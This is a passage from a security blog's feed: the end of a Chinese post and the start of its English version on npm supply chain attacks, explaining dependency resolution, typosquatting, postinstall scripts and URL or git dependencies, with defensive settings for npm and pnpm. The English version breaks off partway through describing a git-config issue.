control over this behavior.</p></blockquote><p>一開始說這不是漏洞所以把報告關掉，但後來某種層面上看來還是修了，畢竟下個大版本就不允許 git 了，可能是不覺得這個行為有嚴重到要立刻當成漏洞來修吧。</p><h2><span id="誠心推薦-pnpm-以及我的-npm-設定">誠心推薦 pnpm 以及我的 npm 設定</span></h2><p>在研究這些 JavaScript 生態系的供應鏈攻擊手法時，我可以明確感覺到 pnpm 是做得比較用心的，而且預設就幫你把該擋的都擋掉了。</p><p>舉例來說，你可以直接找到一個 <a href="https://pnpm.io/supply-chain-security#block-risky-postinstall-scripts">Mitigating supply chain attacks</a> 的文件，裡面把目前的攻擊面以及防禦方式講得很清楚，其實就是我們前面提到的那幾個：</p><ol><li>阻止 postinstall scripts</li><li>阻止 exotic transitive dependencies</li><li>延遲更新套件</li><li>使用 lockfile</li></ol><p>還有一個前面沒提到的 <code>trustPolicy</code>，這個主要是跟發布有關，如果發布的「可信度」下降了就先擋掉之類的，主要與發布時用的方式以及 provenance 有關，我還沒時間研究就先不多談了。</p><p>而上面提到的這些防禦方式，從 pnpm v11 開始就自動幫你做完了：</p><ol><li><code>postinstall</code> 等 scripts 預設關閉（這個更早，v10 就有）</li><li><code>minimumReleaseAge</code> 預設 1 天</li><li><code>blockExoticSubdeps</code> 預設打開</li></ol><p>而 npm 的話則是要自己設定，目前我自己的設定是：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token comment"># 不下載 3 天內發布的套件</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span class="token comment"># 關閉 git 下載</span><span class="token key attr-name">allow-git</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span class="token comment"># 關閉 direct URL 下載</span><span class="token key attr-name">allow-remote</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>有需要的話可以自己再調整，例如說需要用到 git 就 <code>allow-git=root</code> 之類的。</p><h2><span id="總結">總結</span></h2><p>在一般使用電腦時，大家都會知道不要隨便下載與安裝來路不明的軟體，但與此同時，有些人卻又隨意裝著 VScode 的擴充套件、GitHub 上的開源項目或是開發時會用到的套件，忽略了這些也都有可能出問題。</p><p>開發者一向是價值比較高的目標，有許多開發者電腦上都直接放著各種雲端服務的 key 甚至有可能是 production 的，而在 CI 上安裝套件時也存在風險，CI 中通常有著更多高價值的 token 可以偷取。有許多攻擊都是先駭入某一個套件，接著藉由這個套件駭入更多套件以及公司，不斷把影響範圍擴大。</p><p>最近的供應鏈攻擊真的很多，每一兩周就會看到一起，而且規模很大。再者，以前的供應鏈攻擊可能是入侵某一個小套件，但最近的攻擊是直接把大的那個給駭掉（如 axios 與 TanStack，都是直接駭入大的），並不是從那些很小的子套件下手。</p><p>建議大家把該設定的東西都設定好，如果用 npm 就是：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token comment"># 不下載 3 天內發布的套件</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span class="token comment"># 關閉 git 下載</span><span class="token key attr-name">allow-git</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span class="token comment"># 關閉 direct URL 下載</span><span class="token key attr-name">allow-remote</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>用 pnpm 就是更新到最新版本，就能享有預設的保護。</p><p>若是想要更安全，可以用之前提過的 <a href="https://socket.dev/features/firewall">sfw</a>，多加一層防護。</p><p>雖然說風險沒辦法 100% 避免，但至少我們可以盡量降低它。想要再安全的就是裝套件或甚至開發時一律在 <a href="https://code.visualstudio.com/docs/devcontainers/containers">dev container</a> 裡面做，能夠從更低的 level 去控制該環境可以存取到的東西，是一種 sandbox 的概念，但這個成本就比較高就是了。</p><p>總之呢，我覺得把 npm 設定好是一定要的，或是改用 pnpm。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2026 年 5 月 19 日，拿來做圖表的套件 antv 遭到攻擊，最新版本被植入惡意程式。&lt;/p&gt;
&lt;p&gt;5 月 13 日，前端圈很熱門的 TanStack 系列 repo 也遭到攻擊。&lt;/p&gt;
&lt;p&gt;4 月 1 日，每週有一億次下載的 axios 也同樣被攻擊，被發布了惡意版本。&lt;/p&gt;
&lt;p&gt;大概每隔一個月或甚至一週就會看到供應鏈攻擊的新聞，而被攻擊的對象也不只有 npm，Python 的 PyPI、.NET 的 NuGet、甚至是 Docker Hub 或是開發者在用的 VSCode extension，也全部都是目標。&lt;/p&gt;
&lt;p&gt;在這個前提下，開發者該如何保護自己？&lt;/p&gt;
&lt;p&gt;這篇主要來談談針對 npm 的供應鏈攻擊，先從原理開始聊起，接著來談談攻擊手法，以及防禦方式。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>A Deep Dive into npm Supply Chain Attacks and Defense</title>
    <link href="https://blog.huli.tw/2026/05/25/en/dive-into-npm-supply-chain-attack/"/>
    <id>https://blog.huli.tw/2026/05/25/en/dive-into-npm-supply-chain-attack/</id>
    <published>2026-05-25T03:17:30.000Z</published>
    <updated>2026-05-26T22:06:13.245Z</updated>
    
    <content type="html"><![CDATA[<p>On May 19, 2026, the charting library antv was attacked, and the latest version was embedded with malicious code.</p><p>On May 13, the popular TanStack series repo in the frontend community was also attacked.</p><p>On April 1, axios, which has a hundred million downloads weekly, was similarly attacked, and a malicious version was released.</p><p>It seems that news about supply chain attacks appears every month or even every week, and the targets are not limited to npm; Python’s PyPI, .NET’s NuGet, and even Docker Hub or VSCode extensions used by developers are all targets.</p><p>In this context, how should developers protect themselves?</p><p>This article mainly discusses supply chain attacks targeting npm, starting with the principles, followed by attack techniques and defense strategies.</p><span id="more"></span><h2><span id="starting-with-installing-a-package">Starting with Installing a Package</span></h2><p>What happens when you run <code>npm install express</code>? (It’s actually more complex, but let’s simplify it).</p><p>First, since no version is specified, npm will look for the latest version of the express package. As of the time I wrote this article, it was version 5.2.1, released 11 days ago.</p><p><img src="/img/dive-into-npm-supply-chain-attack/p1.png" alt="Latest version of express"></p><p>Thus, version 5.2.1 of express is downloaded to your computer.</p><p>Next, express itself has dependencies on other packages, which are defined in its <a href="https://github.com/expressjs/express/blob/v5.2.1/package.json">package.json</a>. There are quite a few:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token string-property property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"accepts"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"body-parser"</span><span class="token operator">:</span> <span class="token string">"^2.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-disposition"</span><span class="token operator">:</span> <span class="token string">"^1.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-type"</span><span class="token operator">:</span> <span class="token string">"^1.0.5"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie"</span><span class="token operator">:</span> <span class="token string">"^0.7.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie-signature"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"debug"</span><span class="token operator">:</span> <span class="token string">"^4.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"depd"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"encodeurl"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"escape-html"</span><span class="token operator">:</span> <span class="token string">"^1.0.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"etag"</span><span class="token operator">:</span> <span class="token string">"^1.8.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"finalhandler"</span><span class="token operator">:</span> <span class="token string">"^2.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"fresh"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"http-errors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"merge-descriptors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"mime-types"</span><span class="token operator">:</span> <span class="token string">"^3.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"on-finished"</span><span class="token operator">:</span> <span class="token string">"^2.4.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"once"</span><span class="token operator">:</span> <span class="token string">"^1.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"parseurl"</span><span class="token operator">:</span> <span class="token string">"^1.3.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"proxy-addr"</span><span class="token operator">:</span> <span class="token string">"^2.0.7"</span><span class="token punctuation">,</span>    <span class="token string-property property">"qs"</span><span class="token operator">:</span> <span class="token string">"^6.14.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"range-parser"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"router"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"send"</span><span class="token operator">:</span> <span class="token string">"^1.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"serve-static"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"statuses"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"type-is"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"vary"</span><span class="token operator">:</span> <span class="token string">"^1.1.2"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The next step is for npm to download each package based on this definition, ensuring that it is the “correct version.”</p><p>Version numbers are usually in the format <code>a.b.c</code>, such as <code>1.1.0</code> or <code>2.3.3</code>, where the first number is the major release, typically indicating a breaking change. This means that upgrading from <code>1.2.0</code> to <code>2.0.0</code> may break some APIs, so directly upgrading the project could cause issues.</p><p>The last version number, like <code>2.3.0</code> to <code>2.3.1</code>, usually indicates a small bug fix, while new features would change the middle number, such as <code>2.3.0</code> to <code>2.4.0</code>.</p><p>For example, <code>&quot;body-parser&quot;: &quot;^2.2.1</code> indicates that the <code>^</code> means “no breaking changes are accepted,” so <code>^2.2.1</code> can accept any version of <code>2.x.x</code>, which is the most commonly used notation.</p><p>Therefore, if you actually test it, you will find that the installed version of <code>body-parser</code> is <code>2.2.2</code>, as that is the latest version that meets the <code>^2.2.1</code> definition.</p><p>Taking another example from above, <code>&quot;content-disposition&quot;: &quot;^1.0.0&quot;</code>, the latest version is <code>2.0.0</code>, but the installed version is <code>1.1.0</code>, because <code>1.1.0</code> is the one that meets the <code>^1.0.0</code> definition.</p><p><img src="/img/dive-into-npm-supply-chain-attack/p2.png" alt="Dependency resolution"></p><p>The packages that express depends on may also have their own dependencies, so this process continues until all dependencies are installed.</p><p>After you run <code>npm install express</code>, you will see how many packages were installed in the terminal:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">added <span class="token number">66</span> packages, and audited <span class="token number">67</span> packages <span class="token keyword">in</span> 2s<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Let’s pause here. Up to this point, what potential issues could arise during this installation process?</p><p>First, if the latest version of <code>express</code> has issues, we are compromised.</p><p>Second, if any dependency of <code>express</code> has issues, we are also compromised. If any of those 66 packages has a latest version released by a hacker, we will install that as well.</p><p>This is the origin of supply chain attacks, especially since the JavaScript ecosystem is often criticized for providing too few built-in functionalities, leading developers to install a large number of small packages to handle these common functionalities.</p><p>For example, if we want to know the relationship between HTTP status codes and messages, such as how 404 corresponds to <code>Not Found</code>, there is a package on npm with 150 million downloads weekly called <a href="https://www.npmjs.com/package/statuses">statuses</a> that specializes in this, and its core is essentially a JSON file mapping codes to messages.</p><p>For the same requirement, in Go you can directly use <a href="https://pkg.go.dev/net/http#StatusText">http.StatusText</a>, and in Python you can use <a href="https://docs.python.org/3/library/http.html#http.HTTPStatus">HTTPStatus(404).phrase</a>, both of which have official libraries provided. However, in the JavaScript ecosystem, there is no such thing, and you can only rely on community-maintained packages.</p><p>Due to the lack of these official libraries, many functionalities are built up using packages from npm. If any small package is compromised, it can lead to the installation of malicious packages. From an attacker’s perspective, compromising one package can affect thousands, which is quite cost-effective.</p><p>In addition to the two issues mentioned above, there is another problem: “We accidentally install the wrong package.”</p><p>For example, if you mistakenly type an extra ‘s’ in express, it becomes expresss, which will install a different package. Therefore, hackers can register many misspelled packages and embed malicious code in them. If you accidentally make a typo, you could fall victim to this. This type of attack is called typosquatting.</p><p>Just between us, nearly 600 people add an extra ‘s’ each week, but fortunately, this package is empty:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p3.png" alt="expresss downloads"></p><p>Some services prohibit the registration of such similar names, or some kind-hearted security personnel will register them first to prevent others from making mistakes or being registered by malicious actors. For example, the package <a href="https://www.npmjs.com/package/mongose">mongose</a>, which is just one letter off from the well-known package mongoose, was previously attacked, so it was later registered by the npm team and left unused:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p4.png" alt="mongose"></p><h2><span id="what-happens-if-you-install-a-problematic-package-how-to-defend-against-it">What happens if you install a problematic package? How to defend against it?</span></h2><p>Since it’s about installing packages, it should be fine as long as you don’t use them, right? Even if you accidentally install the wrong one by typing an extra letter, you will find that the package doesn’t exist when you write it correctly. As long as you don’t use the package, it should be safe, right?</p><p>In the npm ecosystem, if you install a malicious package, it’s game over.</p><p>The reason is that npm provides various <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">scripts</a> that can run, such as <code>postinstall</code>. As long as it is specified in the package, the shell script written in <code>postinstall</code> will be executed after you finish installing the package.</p><p>The normal use of postinstall is to automatically download necessary items after the package is installed, like <a href="https://github.com/puppeteer/puppeteer/blob/af1b9be6b6a178f7ea6e197f738ca3cf99d786f7/packages/puppeteer/package.json#L42">puppeteer</a>, which has <code>node install.mjs</code> written in its postinstall, running a script that downloads the browser and sets up the environment.</p><p>The abnormal use is to embed malicious code in postinstall. For example, in the attack on <a href="https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package">axios</a>, a sub-dependency specified postinstall to run <code>node setup.js</code>, and <code>setup.js</code> contained malicious code, leading to an immediate compromise upon installation.</p><p>So how can we defend against this?</p><p>In npm, there is a parameter that can be set: <a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">ignore-scripts</a>. If set to true, it will disable these pre&#x2F;post hooks and will not execute them. This parameter is false by default, so remember to set it actively.</p><p>Starting from v10, pnpm defaults to blocking the execution of these scripts, and you must actively add packages to the <code>allowBuilds</code> list to run them. Initially, there was a GitHub discussion and vote: <a href="https://github.com/orgs/pnpm/discussions/8918">Should we block lifecycle script of dependencies during installation? #8918</a>, where 70% of people chose to block it by default.</p><p>Bun’s strategy is to have a built-in trust list, where only packages on this list can execute scripts by default. Currently, there are over 300 packages on it: <a href="https://github.com/oven-sh/bun/blob/main/src/install/default-trusted-dependencies.txt">src&#x2F;install&#x2F;default-trusted-dependencies.txt</a></p><p>Although bun strikes a balance between developer experience and security, I still prefer pnpm’s approach, which directly blocks everything and requires explicit approval from the developer before execution.</p><p>That said, the feature of “executing scripts after installing packages” is not unique to npm; RubyGems next door has a similar feature. This mechanism also has the same problem: installing a malicious package can lead to a game over. Therefore, in April, they added two options to disable this behavior: <a href="https://github.com/ruby/rubygems/pull/9473">Add –no-build-extension and –no-install-plugin options to gem install #9473</a>.</p><p>However, to avoid breaking existing projects, this feature is disabled by default, just like npm, requiring developers to enable it actively.</p><p>For npm, we can add a user-level npm config in <code>~/.npmrc</code>, so we don’t have to specify it in every folder:</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># Do not execute postinstall scripts</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h2><span id="how-to-avoid-installing-problematic-packages">How to Avoid Installing Problematic Packages</span></h2><p>If a malicious package is installed, it can execute code through those scripts; even if we disable this feature, if our product uses these packages, the product itself can be compromised, and your website might be injected with malicious code.</p><p>“Disabling scripts” is considered a second layer of defense, while the first layer, which everyone wants to achieve, is actually: “Do not install malicious packages.” As long as we don’t install them, we’re safe.</p><p>So how can we achieve this? There are three methods.</p><h3><span id="first-method-delay-downloads">First Method: Delay Downloads</span></h3><p>Since hackers target the supply chain for attacks, there will naturally be corresponding cybersecurity companies monitoring this area for defense.</p><p>For example, TanStack, mentioned at the beginning, was discovered by StepSecurity within 20 minutes after being attacked, while axios was discovered about an hour later and removed by npm three hours after the malicious version was released.</p><p>Thanks to the efforts of these cybersecurity companies and automated detection, such attacks can usually be detected within a few hours, and npm will remove them as quickly as possible to prevent more people from downloading malicious packages.</p><p>This means that if we specify “I only download packages released 24 hours ago” during installation, we can significantly reduce the likelihood of downloading malicious packages (of course, this doesn’t solve the problem 100%, as it can still be downloaded if no one discovers it).</p><p>In pnpm, there is a <a href="https://pnpm.io/settings#minimumreleaseage">minimumReleaseAge</a> setting, which defaults to 1440 minutes (one day) starting from v11. So when codex asks you if you want to update and you say yes, if it asks you again whether to update after installation, it’s because the version hasn’t been released for a day, so it wasn’t installed (a real case; I’ve encountered this once or twice before realizing this).</p><p>In npm, there is also a <a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">min-release-age</a> setting, measured in days, with the same effect, and it defaults to empty.</p><p>Bun also has a <a href="https://bun.com/docs/runtime/bunfig#install-minimumreleaseage">minimumReleaseAge</a> setting, measured in seconds (bun is in seconds, pnpm is in minutes, npm is in days; did you all agree to be intentionally different?), and it also defaults to empty.</p><p>So if you are using pnpm version 11 or above, it will not download packages released within a day by default, reducing the likelihood of installing malicious packages.</p><p>If you are using npm, I also recommend setting this value; I personally set it to 3 days for extra safety:</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, setting this parameter will encounter another issue: if there is a vulnerability, you won’t be able to install the fix immediately and will have to wait a few days or manually override this config during installation, for example, <code>npm install -g @openai/codex --min-release-age=0</code>.</p><p>I believe you can assess the severity of the vulnerability and whether it can be exploited. If the likelihood of exploitation is low, waiting a few days is better. After all, the risk of non-exploitable vulnerabilities is manageable, while the risk of installing malicious code is comparatively higher.</p><p>For example, many packages may occasionally have some high vulnerabilities, but if you look closely, you’ll find that they are specific situations or certain features that have issues, and the packages you use or your product itself may not necessarily utilize those features, so you can wait a few days to fix them.</p><p>However, cases like React2Shell are different; prompt fixes are the best strategy.</p><h3><span id="second-method-lock-versions">Second Method: Lock Versions</span></h3><p>Basically, the same version cannot be overwritten. For example, if <code>2.0.0</code> is safe, then it is safe; hackers can only release a malicious version by incrementing the version number to <code>2.0.1</code>. Therefore, as long as a safe version has been downloaded, the next download will also be safe (unless the registry itself is hacked).</p><p>After we run <code>npm install express</code>, in addition to downloading the package, another file called <code>package-lock.json</code> will be generated, which is used for locking versions in JSON format.</p><p>For example, the dependency of <code>express</code> is <code>body-parser</code>, which specifies <code>^2.2.1</code>, and the currently latest compatible version of <code>body-parser</code> is <code>2.2.2</code>. After installation, the lockfile will fix it to <code>2.2.2</code>:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/body-parser"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"2.2.2"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz"</span><span class="token punctuation">,</span>    <span class="token property">"integrity"</span><span class="token operator">:</span> <span class="token string">"sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When I delete all the <code>node_modules</code> and run <code>npm install</code>, it will definitely download version <code>2.2.2</code>, and after downloading, it will verify the integrity to prove that the file has not been tampered with. If it has been tampered with, the hash will be different, resulting in an error.</p><p>If there is no <code>package-lock.json</code>, then when I run <code>npm install</code>, it will re-resolve the dependencies. If the latest version at that time is <code>2.2.3</code>, it will install <code>2.2.3</code>.</p><p>Therefore, once you generate the lockfile, if there are no issues with this batch of packages, as long as there are no upgrades or new packages added, “basically” it can guarantee that every download is safe, because the versions and hashes of the safe packages are recorded.</p><p>So please make sure to include the lockfile in version control; this is very important.</p><h3><span id="tip-3-scan-before-downloading">Tip 3: Scan Before Downloading</span></h3><p>Since computers have antivirus software, naturally, there are also cybersecurity companies that provide protection for npm.</p><p>Currently, the most well-known is Socket’s <a href="https://docs.socket.dev/docs/socket-firewall-overview">Socket Firewall</a>, abbreviated as sfw, which has both a free version and a paid enterprise version.</p><p>I mentioned earlier that these cybersecurity companies can quickly detect which packages have issues, even faster than the npm official team. For example, it was previously mentioned that a malicious version was detected within 1 hour of its release, but it was taken down 3 hours later, leaving a 2-hour window in between.</p><p>When you use sfw to download packages, it will first check Socket’s internal database to see if there are any issues with the package. If there are, it will be blocked directly. So before the npm official team takes it down, you won’t download the malicious package.</p><p>For those packages that have not yet been confirmed as safe, they will also be scanned on the server, and only after confirming that there are no issues will they be downloaded (the free version will only provide a warning, while the paid version can be set to block directly).</p><p>In fact, Socket’s sfw can be used not only for npm but also for Python’s pip and uv, or Rust’s cargo; other features are only available in the paid version.</p><p>Having said that, it seems we have done everything we should do. We have already activated the cooldown, only downloading packages released more than 3 days ago, and ignoring those scripts. Even if we do install them, they won’t execute malicious code immediately, so it should be very safe, right?</p><p>If you think this way, you are becoming complacent; the devil is always in the details.</p><h2><span id="the-devil-in-the-details-packages-outside-of-the-registry">The Devil in the Details: Packages Outside of the Registry</span></h2><p>npm is a registry, and you can set up your own registry through other means, such as <a href="https://www.verdaccio.org/">Verdaccio</a>, which is a registry that you can set up yourself to host private packages.</p><p>Or there’s <a href="https://jsr.io/">jsr</a>, another open-source registry that can be used by adding <code>@jsr:registry=https://npm.jsr.io</code> to your <code>.npmrc</code>.</p><p>But since these are all registries supported by npm, it means they must adhere to the same set of protocols.</p><p>For example, when you install the package <a href="https://www.npmjs.com/package/zod">zod</a> from npm, npm will first fetch <code>https://registry.npmjs.com/zod</code>, and the response will be a JSON describing it, including the latest stable version and information about each version, etc. The <code>time</code> field records the release time of each version, and the min release age is determined based on this time:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p5.png" alt="registry json"></p><p>The details of each version are in the versions section. Taking the latest version <code>4.4.3</code> as an example, the <code>integrity</code> field is used to verify whether the package has been altered, and the tarball <code>https://registry.npmjs.org/zod/-/zod-4.4.3.tgz</code> is the package that will ultimately be downloaded:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p6.png" alt="registry tar"></p><p>If you use the method mentioned above to have npm resolve packages by going to the jsr URL, when you install <code>@zod/zod</code>, the resolved JSON URL will be <code>https://npm.jsr.io/@jsr/zod__zod</code>:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p7.png" alt="jsr registry"></p><p>Although it lacks quite a few things, it still has time and versions, and <code>4.4.3</code> still contains integrity and tarball:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p8.png" alt="jsr tar url"></p><p>The methods mentioned above still allow you to install packages from the registry; it’s just that the registry’s URL is different. It’s somewhat like being able to host a project on GitHub, GitLab, or Bitbucket, but fundamentally they are all git, the format is the same, it’s just that you need to change the URL.</p><p>However, besides installing packages from the registry, there are actually two other ways:</p><ol><li>Direct download via URL</li><li>git</li></ol><p>For the first method, taking the n8n component <a href="https://www.npmjs.com/package/@n8n/instance-ai?activeTab=code">@n8n&#x2F;instance-ai</a> as an example, most of its dependencies are quite normal, such as <code>&quot;csv-parse&quot;: &quot;6.2.1&quot;</code> or <code>&quot;nanoid&quot;: &quot;3.3.8&quot;</code>, with the name followed by the version number, but if you look closely, you’ll find one exception:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"xlsx"</span><span class="token operator">:</span> <span class="token string">"https://cdn.sheetjs.com/xlsx-0.20.2/xlsx-0.20.2.tgz"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>When installing the <code>xlsx</code> package, it directly specifies the URL instead of a version. This means that this package will be downloaded directly from this URL, rather than from the npm registry.</p><p>Why is this the case?</p><p>It seems to be because the SheetJS team had some <a href="https://www.bleepingcomputer.com/news/software/npm-package-with-14m-weekly-downloads-ditches-npmjscom-for-own-cdn/">disputes</a> with npm, so they moved, resulting in the current version of xlsx on npm being an old version from a few years ago, while the latest version is on their own <a href="https://git.sheetjs.com/sheetjs/sheetjs">gitea</a>, and the <a href="https://docs.sheetjs.com/docs/getting-started/installation/nodejs">official documentation</a> also recommends installing directly from the URL:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">npm</span> i <span class="token parameter variable">--save</span> https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>What are the downsides of this? The downside is that besides npm, you now have another place to worry about. If this URL gets hacked and the content is replaced with a malicious version, you will download it directly. Moreover, the min release age does not apply because it is not from the registry, so there is no way to know when it was released.</p><p>Therefore, it’s best to avoid using third-party tarball URLs whenever possible.</p><p>The other method, using a git URL, might be used by some internal company projects. When a company does not have an internal private registry, it may use a git URL to download packages.</p><p>For example, this package <a href="https://www.npmjs.com/package/system-font-families">system-font-families</a> used to fetch the system font list has the following dependencies:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"babel-polyfill"</span><span class="token operator">:</span> <span class="token string">"^6.23.0"</span><span class="token punctuation">,</span>    <span class="token property">"file-type"</span><span class="token operator">:</span> <span class="token string">"^10.11.0"</span><span class="token punctuation">,</span>    <span class="token property">"read-chunk"</span><span class="token operator">:</span> <span class="token string">"^3.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"ttfinfo"</span><span class="token operator">:</span> <span class="token string">"https://github.com/rBurgett/ttfinfo.git"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This <code>ttfinfo</code> directly specifies a git URL. When we install this package using <code>npm install system-font-families</code>, we will see in the lockfile:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/ttfinfo"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"0.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"git+ssh://git@github.com/rBurgett/ttfinfo.git#f00e43e2a6d4c8a12a677df20b7804492d50863c"</span><span class="token punctuation">,</span>    <span class="token property">"license"</span><span class="token operator">:</span> <span class="token string">"MIT"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The final resolved location of <code>ttfinfo</code> is a git URL, and it pins the latest commit <code>f00e43e2a6d4c8a12a677df20b7804492d50863c</code>. When others install using the same lockfile, they will install the same version.</p><p>But the problem is that the original <code>system-font-families</code> does not actually specify a version, so if there is no lockfile, you will always install the latest <code>ttfinfo</code>, and the min release age also does not apply.</p><p>More importantly, the cybersecurity company <a href="https://www.koi.ai/blog/packagegate-6-zero-days-in-js-package-managers-but-npm-wont-act">koi</a> reported a vulnerability to npm last November, where when installing git dependencies, npm would clone the git repo and then run <code>npm install</code> again in the repo.</p><p>In the <code>.npmrc</code>, there is a setting called <a href="https://docs.npmjs.com/cli/v11/using-npm/config#git">git</a>, where you can specify which command to use for running git commands. 